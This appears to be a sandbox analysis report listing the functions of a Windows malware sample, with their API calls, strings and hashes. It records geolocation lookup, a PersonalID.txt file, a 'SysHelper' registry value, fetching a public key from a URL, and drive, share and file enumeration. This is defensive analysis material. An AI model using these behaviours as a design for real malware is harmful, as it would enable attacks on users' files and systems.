Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 024b3a2441e03450481d723056a2cea3042cedec5767afe888cd0bf94bcd87ca
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 024b3a2441e03450481d723056a2cea3042cedec5767afe888cd0bf94bcd87ca
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: 9dc020692cef374b1a029ecce09718c48db432c7c863de169bbf62cfcefd06b8
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: 9dc020692cef374b1a029ecce09718c48db432c7c863de169bbf62cfcefd06b8
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 7e3546227060cc9c05aa29c6dd030ea43cb70f558f56a0c6a560f6836b52baa2
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 7e3546227060cc9c05aa29c6dd030ea43cb70f558f56a0c6a560f6836b52baa2
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00820000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 77a038d866069de8405f1b4f337e78db008bb897c20f2d08f2dc211958e2afea
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 77a038d866069de8405f1b4f337e78db008bb897c20f2d08f2dc211958e2afea
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 08effd2b7b95b0cd61e130dfc75c874d3fdf42f1db09c9f8a8de7e6eb3f9e7c1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 08effd2b7b95b0cd61e130dfc75c874d3fdf42f1db09c9f8a8de7e6eb3f9e7c1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: a8394b3a70a4d6a3136c362a99d12b854317469571ff5e0108eeca55942cb720
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: a8394b3a70a4d6a3136c362a99d12b854317469571ff5e0108eeca55942cb720
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00820000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNELBASE(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 04f8e4852639ed9874bcb6494f28e578b9fe05bfc407fd48a7bf3bb55fd92765
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 04f8e4852639ed9874bcb6494f28e578b9fe05bfc407fd48a7bf3bb55fd92765
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2243904603.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2243904603.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

